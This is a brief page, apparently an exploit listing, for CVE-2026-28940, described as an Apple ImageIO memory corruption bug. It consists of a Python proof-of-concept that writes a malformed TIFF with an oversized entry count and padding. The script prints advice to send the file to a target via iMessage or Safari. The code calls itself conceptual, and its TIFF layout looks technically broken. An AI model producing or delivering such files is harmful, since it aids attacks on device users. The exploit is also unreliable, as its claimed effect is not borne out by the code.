CVE-2026-28940 Apple图像处理内存损坏漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-28940 (Conceptual) Generates a malformed image to trigger memory corruption in Apple ImageIO. """ import struct def generate_malicious_image(file_path): # Simulating a malformed image header (e.g., TIFF or JPEG) # This payload attempts to trigger an integer overflow or buffer overflow. # Standard Header header = b"\x49\x49\x2a\x00" # Little-endian TIFF magic bytes # Malicious IFD entry count # Setting a high number to trigger incorrect memory allocation entry_count = struct.pack('<H', 0xFFFF) # Padding to trigger the write payload = b"A" * 1024 with open(file_path, 'wb') as f: f.write(header + entry_count + payload) print(f"[+] Malicious image generated at: {file_path}") print("[+] Send this file to the target device via iMessage or Safari.") if __name__ == "__main__": generate_malicious_image("cve_2026_28940_poc.tif")